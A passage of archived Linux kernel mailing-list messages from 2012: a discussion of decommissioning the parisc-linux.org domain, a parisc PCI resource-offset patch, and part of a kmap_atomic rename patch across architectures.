the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Thu, 9 Feb 2012 13:49:31 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20120209204931.GD22332@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <20120209175654.GB22332@dannf.org>
 <yq1mx8rn7cy.fsf@sermon.lab.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1328820576 1195 80.91.229.3 (9 Feb 2012 20:49:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 9 Feb 2012 20:49:36 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: "Martin K. Petersen" <martin.petersen@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 09 21:49:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rvavs-0005ra-Sq
	for glpp-linux-parisc@plane.gmane.org; Thu, 09 Feb 2012 21:49:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757814Ab2BIUtc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 9 Feb 2012 15:49:32 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:49266 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753498Ab2BIUtc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 9 Feb 2012 15:49:32 -0500
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id A119E33E0010;
	Thu,  9 Feb 2012 13:49:31 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 5EB60C25F5; Thu,  9 Feb 2012 13:49:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <yq1mx8rn7cy.fsf@sermon.lab.mkp.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4145
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4145>

On Thu, Feb 09, 2012 at 02:18:21PM -0500, Martin K. Petersen wrote:
> >>>>> "Dann" == dann frazier <dannf@dannf.org> writes:
> 
> >> What's the status of @p-l.o email addresses? I'm receiving a fair bit
> >> of email on this domain, and I think others do too, if we need to
> >> move on elsewhere it'd be nice to have a little headstart... ;)
> 
> Dann> My assumption is that mail will follow the domain.
> 
> I would like something to be done with the mail situation. It totally
> sucks being secondary mx since I get to deal with all the spam bounces
> and blacklistings.
> 
> We can either move mail forwarding to my machine wholesale so I can fix
> things or we can leave it on palinux and discontinue having me as
> secondary. I'm happy either way.

Well, my vote is that we take you up on that offer and move it to you,
at least while things are in flux. Only problem I see  is that some
people don't forward their mail off of palinux, but its probably a
good idea to deprecate that RSN.

> I'm also happy to continue providing DNS. I would like the ability to
> update the zone files, though. I would have fixed the mail problems long
> ago if I could...

I don't see any reason we wouldn't let you take over even primary if
you wanted to. Frankly, I'm surprised we hadn't given you whatever
privs you needed already - really just seems like an oversight on our
part, my apologies.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH v2 13/18] parisc/PCI: get rid of device resource fixups
Date: Thu, 09 Feb 2012 19:37:27 -0700
Lines: 253
Approved: news@gmane.org
Message-ID: <20120210023727.10311.47277.stgit@bhelgaas.mtv.corp.google.com>
References: <20120210023424.10311.82445.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328841456 8496 80.91.229.3 (10 Feb 2012 02:37:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Feb 2012 02:37:36 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Fri Feb 10 03:37:33 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1RvgMc-0005EH-Qe
	for glp-linux-pci@plane.gmane.org; Fri, 10 Feb 2012 03:37:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932263Ab2BJCh3 (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Thu, 9 Feb 2012 21:37:29 -0500
Original-Received: from mail-gy0-f202.google.com ([209.85.160.202]:60268 "EHLO
	mail-gy0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932120Ab2BJCh2 (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Thu, 9 Feb 2012 21:37:28 -0500
Original-Received: by mail-gy0-f202.google.com with SMTP id r17so253095ghr.1
        for <linux-pci@vger.kernel.org>; Thu, 09 Feb 2012 18:37:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=gamma;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=UnHHDeHex5762+gOo77FzLdpXbn7IiTot/RBblzwIbY=;
        b=Bdr1ZsEmJDmKn1+1rv0ZrY5g4+TmhWmtFBLS/3sOHWM5KYwpGRSkBdBOQtp4zTwHh9
         mbinAH3Wx0jiMttI4gDPglD/ujpmGvZIXEmhUaM38R4k3fjYQs9xViJhjpxsenHYIYHj
         /KUgbkTFQVyxqTOa3/tiAI3lBIjgpwkYgZP7k=
Original-Received: by 10.101.211.15 with SMTP id n15mr3107546anq.16.1328841448382;
        Thu, 09 Feb 2012 18:37:28 -0800 (PST)
Original-Received: by 10.101.211.15 with SMTP id n15mr3107531anq.16.1328841448280;
        Thu, 09 Feb 2012 18:37:28 -0800 (PST)
Original-Received: from wpzn3.hot.corp.google.com (216-239-44-65.google.com [216.239.44.65])
        by gmr-mx.google.com with ESMTPS id d64si2228094yhn.3.2012.02.09.18.37.28
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Thu, 09 Feb 2012 18:37:28 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpzn3.hot.corp.google.com (Postfix) with ESMTP id 2091910004D;
	Thu,  9 Feb 2012 18:37:28 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id CEAE1180064;
	Thu,  9 Feb 2012 18:37:27 -0800 (PST)
In-Reply-To: <20120210023424.10311.82445.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
X-Gm-Message-State: ALoCoQkMp0OVLqE3mbs/nMlvezydALbV5aAL0aBcJyRSEj7hjaOQPb6e8Od4KQrafQWwUixRwFMBHSlTjjlLhV2FqrZAPJAkzJgsO/fY7FJYBt2lbp0jTlYYE8lyf4B5oTnaQ6kBKQmoQtbQOjSbbM48gimAx1WELSZTjFY1poVYvLeuS8FZtHc=
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:13474 gmane.linux.kernel.cross-arch:12269 gmane.linux.ports.parisc:4146
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/13474>

Tell the PCI core about host bridge address translation so it can take
care of bus-to-resource conversion for us.

CC: linux-parisc@vger.kernel.org
Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/parisc/include/asm/pci.h |   38 +-----------------------------
 arch/parisc/kernel/pci.c      |   52 -----------------------------------------
 drivers/parisc/dino.c         |   27 +++++----------------
 drivers/parisc/lba_pci.c      |   31 +++++-------------------
 4 files changed, 13 insertions(+), 135 deletions(-)

diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 2242a5c..a8b591f 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -82,38 +82,8 @@ struct pci_hba_data {
 
 #ifdef CONFIG_64BIT
 #define PCI_F_EXTEND		0xffffffff00000000UL
-#define PCI_IS_LMMIO(hba,a)	pci_is_lmmio(hba,a)
-
-/* We need to know if an address is LMMMIO or GMMIO.
- * LMMIO requires mangling and GMMIO we must use as-is.
- */
-static __inline__  int pci_is_lmmio(struct pci_hba_data *hba, unsigned long a)
-{
-	return(((a) & PCI_F_EXTEND) == PCI_F_EXTEND);
-}
-
-/*
-** Convert between PCI (IO_VIEW) addresses and processor (PA_VIEW) addresses.
-** See pci.c for more conversions used by Generic PCI code.
-**
-** Platform characteristics/firmware guarantee that
-**	(1) PA_VIEW - IO_VIEW = lmmio_offset for both LMMIO and ELMMIO
-**	(2) PA_VIEW == IO_VIEW for GMMIO
-*/
-#define PCI_BUS_ADDR(hba,a)	(PCI_IS_LMMIO(hba,a)	\
-		?  ((a) - hba->lmmio_space_offset)	/* mangle LMMIO */ \
-		: (a))					/* GMMIO */
-#define PCI_HOST_ADDR(hba,a)	(((a) & PCI_F_EXTEND) == 0 \
-		? (a) + hba->lmmio_space_offset \
-		: (a))
-
 #else	/* !CONFIG_64BIT */
-
-#define PCI_BUS_ADDR(hba,a)	(a)
-#define PCI_HOST_ADDR(hba,a)	(a)
 #define PCI_F_EXTEND		0UL
-#define PCI_IS_LMMIO(hba,a)	(1)	/* 32-bit doesn't support GMMIO */
-
 #endif /* !CONFIG_64BIT */
 
 /*
@@ -245,13 +215,7 @@ static inline void pci_dma_burst_advice(struct pci_dev *pdev,
 }
 #endif
 
-extern void
-pcibios_resource_to_bus(struct pci_dev *dev, struct pci_bus_region *region,
-			 struct resource *res);
-
-extern void
-pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
-			struct pci_bus_region *region);
+#define ARCH_HAS_GENERIC_PCI_OFFSETS
 
 static inline void pcibios_penalize_isa_irq(int irq, int active)
 {
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 9efd974..74d544b 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -195,58 +195,6 @@ void __init pcibios_init_bus(struct pci_bus *bus)
 	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
 }
 
-/* called by drivers/pci/setup-bus.c:pci_setup_bridge().  */
-void __devinit pcibios_resource_to_bus(struct pci_dev *dev,
-		struct pci_bus_region *region, struct resource *res)
-{
-#ifdef CONFIG_64BIT
-	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
-#endif
-
-	if (res->flags & IORESOURCE_IO) {
-		/*
-		** I/O space may see busnumbers here. Something
-		** in the form of 0xbbxxxx where bb is the bus num
-		** and xxxx is the I/O port space address.
-		** Remaining address translation are done in the
-		** PCI Host adapter specific code - ie dino_out8.
-		*/
-		region->start = PCI_PORT_ADDR(res->start);
-		region->end   = PCI_PORT_ADDR(res->end);
-	} else if (res->flags & IORESOURCE_MEM) {
-		/* Convert MMIO addr to PCI addr (undo global virtualization) */
-		region->start = PCI_BUS_ADDR(hba, res->start);
-		region->end   = PCI_BUS_ADDR(hba, res->end);
-	}
-
-	DBG_RES("pcibios_resource_to_bus(%02x %s [%lx,%lx])\n",
-		dev->bus->number, res->flags & IORESOURCE_IO ? "IO" : "MEM",
-		region->start, region->end);
-}
-
-void pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
-			      struct pci_bus_region *region)
-{
-#ifdef CONFIG_64BIT
-	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
-#endif
-
-	if (res->flags & IORESOURCE_MEM) {
-		res->start = PCI_HOST_ADDR(hba, region->start);
-		res->end = PCI_HOST_ADDR(hba, region->end);
-	}
-
-	if (res->flags & IORESOURCE_IO) {
-		res->start = region->start;
-		res->end = region->end;
-	}
-}
-
-#ifdef CONFIG_HOTPLUG
-EXPORT_SYMBOL(pcibios_resource_to_bus);
-EXPORT_SYMBOL(pcibios_bus_to_resource);
-#endif
-
 /*
  * pcibios align resources() is called every time generic PCI code
  * wants to generate a new address. The process of looking for
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..0610e91 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -553,7 +553,6 @@ dino_fixup_bus(struct pci_bus *bus)
 	struct list_head *ln;
         struct pci_dev *dev;
         struct dino_device *dino_dev = DINO_DEV(parisc_walk_tree(bus->bridge));
-	int port_base = HBA_PORT_BASE(dino_dev->hba.hba_num);
 
 	DBG(KERN_WARNING "%s(0x%p) bus %d platform_data 0x%p\n",
 	    __func__, bus, bus->secondary,
@@ -599,8 +598,6 @@ dino_fixup_bus(struct pci_bus *bus)
 
 
 	list_for_each(ln, &bus->devices) {
-		int i;
-
 		dev = pci_dev_b(ln);
 		if (is_card_dino(&dino_dev->hba.dev->id))
 			dino_card_fixup(dev);
@@ -612,21 +609,6 @@ dino_fixup_bus(struct pci_bus *bus)
 		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)
 			continue;
 
-		/* Adjust the I/O Port space addresses */
-		for (i = 0; i < PCI_NUM_RESOURCES; i++) {
-			struct resource *res = &dev->resource[i];
-			if (res->flags & IORESOURCE_IO) {
-				res->start |= port_base;
-				res->end |= port_base;
-			}
-#ifdef __LP64__
-			/* Sign Extend MMIO addresses */
-			else if (res->flags & IORESOURCE_MEM) {
-				res->start |= F_EXTEND(0UL);
-				res->end   |= F_EXTEND(0UL);
-			}
-#endif
-		}
 		/* null out the ROM resource if there is one (we don't
 		 * care about an expansion rom on parisc, since it
 		 * usually contains (x86) bios code) */
@@ -991,11 +973,14 @@ static int __init dino_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = dino_dev;
 
-	pci_add_resource(&resources, &dino_dev->hba.io_space);
+	pci_add_resource_offset(&resources, &dino_dev->hba.io_space,
+				HBA_PORT_BASE(dino_dev->hba.hba_num));
 	if (dino_dev->hba.lmmio_space.flags)
-		pci_add_resource(&resources, &dino_dev->hba.lmmio_space);
+		pci_add_resource_offset(&resources, &dino_dev->hba.lmmio_space,
+					dino_dev->hba.lmmio_space_offset);
 	if (dino_dev->hba.elmmio_space.flags)
-		pci_add_resource(&resources, &dino_dev->hba.elmmio_space);
+		pci_add_resource_offset(&resources, &dino_dev->hba.elmmio_space,
+					dino_dev->hba.lmmio_space_offset);
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..e885764 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -635,7 +635,6 @@ lba_fixup_bus(struct pci_bus *bus)
 	u16 status;
 #endif
 	struct lba_device *ldev = LBA_DEV(parisc_walk_tree(bus->bridge));
-	int lba_portbase = HBA_PORT_BASE(ldev->hba.hba_num);
 
 	DBG("lba_fixup_bus(0x%p) bus %d platform_data 0x%p\n",
 		bus, bus->secondary, bus->bridge->platform_data);
@@ -726,27 +725,6 @@ lba_fixup_bus(struct pci_bus *bus)
 			if (!res->start)
 				continue;
 
-			if (res->flags & IORESOURCE_IO) {
-				DBG("lba_fixup_bus() I/O Ports [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start |= lba_portbase;
-				res->end   |= lba_portbase;
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else if (res->flags & IORESOURCE_MEM) {
-				/*
-				** Convert PCI (IO_VIEW) addresses to
-				** processor (PA_VIEW) addresses
-				 */
-				DBG("lba_fixup_bus() MMIO [%lx/%lx] -> ",
-					res->start, res->end);
-				res->start = PCI_HOST_ADDR(HBA_DATA(ldev), res->start);
-				res->end   = PCI_HOST_ADDR(HBA_DATA(ldev), res->end);
-				DBG("[%lx/%lx]\n", res->start, res->end);
-			} else {
-				DBG("lba_fixup_bus() WTF? 0x%lx [%lx/%lx] XXX",
-					res->flags, res->start, res->end);
-			}
-
 			/*
 			** FIXME: this will result in whinging for devices
 			** that share expansion ROMs (think quad tulip), but
@@ -1514,11 +1492,14 @@ lba_driver_probe(struct parisc_device *dev)
 		lba_dev->hba.lmmio_space.flags = 0;
 	}
 
-	pci_add_resource(&resources, &lba_dev->hba.io_space);
+	pci_add_resource_offset(&resources, &lba_dev->hba.io_space,
+				HBA_PORT_BASE(lba_dev->hba.hba_num));
 	if (lba_dev->hba.elmmio_space.start)
-		pci_add_resource(&resources, &lba_dev->hba.elmmio_space);
+		pci_add_resource_offset(&resources, &lba_dev->hba.elmmio_space,
+					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.lmmio_space.flags)
-		pci_add_resource(&resources, &lba_dev->hba.lmmio_space);
+		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
+					lba_dev->hba.lmmio_space_offset);
 	if (lba_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
 


From - Thu Nov 08 21:07:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cong Wang <amwang@redhat.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: [PATCH 59/60] highmem: kill all __kmap_atomic() [swarren@nvidia.com:
 highmem: Fix ARM build break due to __kmap_atomic rename]
Date: Fri, 10 Feb 2012 13:40:20 +0800
Lines: 301
Approved: news@gmane.org
Message-ID: <1328852421-19678-60-git-send-email-amwang@redhat.com>
References: <1328852421-19678-1-git-send-email-amwang@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1328853003 5906 80.91.229.3 (10 Feb 2012 05:50:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 10 Feb 2012 05:50:03 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 Cong Wang <amwang@redhat.com>, David Howells <dhowells@redhat.com>,
 Paul Gortmaker <paul.gortmaker@windriver.com>,
 James Bottomley <James.Bottomley@suse.de>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 linux-am33-list@redhat.com, Russell King <linux@arm.linux.org.uk>,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Konrad Rzeszutek Wilk <konrad.wilk@oracle.com>,
 Chris Metcalf <cmetcalf@tilera.com>, Stephen Warren <swarren@nvidia.com>,
 Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infradead.org,
 linux-parisc@vger.kernel.org, Ralf Baechle <ralf@linux-mips.org>,
 Kyle McMartin <kyle@mcmartin.ca>, Andrew Morton <akpm@linux-foundation.org>,
 Koichi Yasutake <yasutake
To: linux-kernel@vger.kernel.org
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Fri Feb 10 06:49:56 2012
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1RvjMl-0002Tz-6S
	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 10 Feb 2012 06:49:51 +0100
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id CABF3B73C6
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 10 Feb 2012 16:49:39 +1100 (EST)
Original-Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28])
 by ozlabs.org (Postfix) with ESMTP id 72195B6EF7
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 10 Feb 2012 16:49:31 +1100 (EST)
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com
 (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
 by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q1A5mxLF032714
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
 Fri, 10 Feb 2012 00:49:00 -0500
Original-Received: from cr0.redhat.com (vpn-244-44.nrt.redhat.com [10.64.244.44])
 by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id
 q1A5eVlR021917; Fri, 10 Feb 2012 00:48:44 -0500
In-Reply-To: <1328852421-19678-1-git-send-email-amwang@redhat.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:48482 gmane.linux.kernel:1251411 gmane.linux.ports.mips.general:33516 gmane.linux.ports.sparc:15715 gmane.linux.ports.arm.kernel:151700 gmane.linux.ports.parisc:4147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/48482>

Signed-off-by: Stephen Warren <swarren@nvidia.com>
Signed-off-by: Cong Wang <amwang@redhat.com>
---
 arch/arm/include/asm/highmem.h       |    2 +-
 arch/arm/mm/highmem.c                |    4 ++--
 arch/frv/include/asm/highmem.h       |    2 +-
 arch/frv/mm/highmem.c                |    4 ++--
 arch/mips/include/asm/highmem.h      |    2 +-
 arch/mips/mm/highmem.c               |    4 ++--
 arch/mn10300/include/asm/highmem.h   |    2 +-
 arch/parisc/include/asm/cacheflush.h |    2 +-
 arch/powerpc/include/asm/highmem.h   |    2 +-
 arch/sparc/include/asm/highmem.h     |    2 +-
 arch/sparc/mm/highmem.c              |    4 ++--
 arch/tile/include/asm/highmem.h      |    2 +-
 arch/tile/mm/highmem.c               |    4 ++--
 arch/x86/include/asm/highmem.h       |    2 +-
 arch/x86/mm/highmem_32.c             |    4 ++--
 include/linux/highmem.h              |   11 +++--------
 16 files changed, 24 insertions(+), 29 deletions(-)

diff --git a/arch/arm/include/asm/highmem.h b/arch/arm/include/asm/highmem.h
index a4edd19..8c5e828 100644
--- a/arch/arm/include/asm/highmem.h
+++ b/arch/arm/include/asm/highmem.h
@@ -57,7 +57,7 @@ static inline void *kmap_high_get(struct page *page)
 #ifdef CONFIG_HIGHMEM
 extern void *kmap(struct page *page);
 extern void kunmap(struct page *page);
-extern void *__kmap_atomic(struct page *page);
+extern void *kmap_atomic(struct page *page);
 extern void __kunmap_atomic(void *kvaddr);
 extern void *kmap_atomic_pfn(unsigned long pfn);
 extern struct page *kmap_atomic_to_page(const void *ptr);
diff --git a/arch/arm/mm/highmem.c b/arch/arm/mm/highmem.c
index 807c057..5a21505 100644
--- a/arch/arm/mm/highmem.c
+++ b/arch/arm/mm/highmem.c
@@ -36,7 +36,7 @@ void kunmap(struct page *page)
 }
 EXPORT_SYMBOL(kunmap);
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned int idx;
 	unsigned long vaddr;
@@ -81,7 +81,7 @@ void *__kmap_atomic(struct page *page)
 
 	return (void *)vaddr;
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/frv/include/asm/highmem.h b/arch/frv/include/asm/highmem.h
index a8d6565..716956a 100644
--- a/arch/frv/include/asm/highmem.h
+++ b/arch/frv/include/asm/highmem.h
@@ -157,7 +157,7 @@ static inline void kunmap_atomic_primary(void *kvaddr, enum km_type type)
 	pagefault_enable();
 }
 
-void *__kmap_atomic(struct page *page);
+void *kmap_atomic(struct page *page);
 void __kunmap_atomic(void *kvaddr);
 
 #endif /* !__ASSEMBLY__ */
diff --git a/arch/frv/mm/highmem.c b/arch/frv/mm/highmem.c
index fd7fcd4..31902c9 100644
--- a/arch/frv/mm/highmem.c
+++ b/arch/frv/mm/highmem.c
@@ -37,7 +37,7 @@ struct page *kmap_atomic_to_page(void *ptr)
 	return virt_to_page(ptr);
 }
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned long paddr;
 	int type;
@@ -64,7 +64,7 @@ void *__kmap_atomic(struct page *page)
 		return NULL;
 	}
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/mips/include/asm/highmem.h b/arch/mips/include/asm/highmem.h
index 77e6440..2d91888 100644
--- a/arch/mips/include/asm/highmem.h
+++ b/arch/mips/include/asm/highmem.h
@@ -47,7 +47,7 @@ extern void kunmap_high(struct page *page);
 
 extern void *kmap(struct page *page);
 extern void kunmap(struct page *page);
-extern void *__kmap_atomic(struct page *page);
+extern void *kmap_atomic(struct page *page);
 extern void __kunmap_atomic(void *kvaddr);
 extern void *kmap_atomic_pfn(unsigned long pfn);
 extern struct page *kmap_atomic_to_page(void *ptr);
diff --git a/arch/mips/mm/highmem.c b/arch/mips/mm/highmem.c
index 3634c7e..aff5705 100644
--- a/arch/mips/mm/highmem.c
+++ b/arch/mips/mm/highmem.c
@@ -41,7 +41,7 @@ EXPORT_SYMBOL(kunmap);
  * kmaps are appropriate for short, tight code paths only.
  */
 
-void *__kmap_atomic(struct page *page)
+void *kmap_atomic(struct page *page)
 {
 	unsigned long vaddr;
 	int idx, type;
@@ -62,7 +62,7 @@ void *__kmap_atomic(struct page *page)
 
 	return (void*) vaddr;
 }
-EXPORT_SYMBOL(__kmap_atomic);
+EXPORT_SYMBOL(kmap_atomic);
 
 void __kunmap_atomic(void *kvaddr)
 {
diff --git a/arch/mn10300/include/asm/highmem.h b/arch/mn10300/include/asm/highmem.h
index bfe2d88..7c137cd 100644
--- a/arch/mn10300/include/asm/highmem.h
+++ b/arch/mn10300/include/asm/highmem.h
@@ -70,7 +70,7 @@ static inline void kunmap(struct page *page)
  * be used in IRQ contexts, so in some (very limited) cases we need
  * it.
  */
-static inline unsigned long __kmap_atomic(struct page *page)
+static inline unsigned long kmap_atomic(struct page *page)
 {
 	unsigned long vaddr;
 	int idx, type;
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index da601dd..9f21ab0 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -140,7 +140,7 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-static inline void *__kmap_atomic(struct page *page)
+static inline void *kmap_atomic(struct page *page)
 {
 	pagefault_disable();
 	return page_address(page);
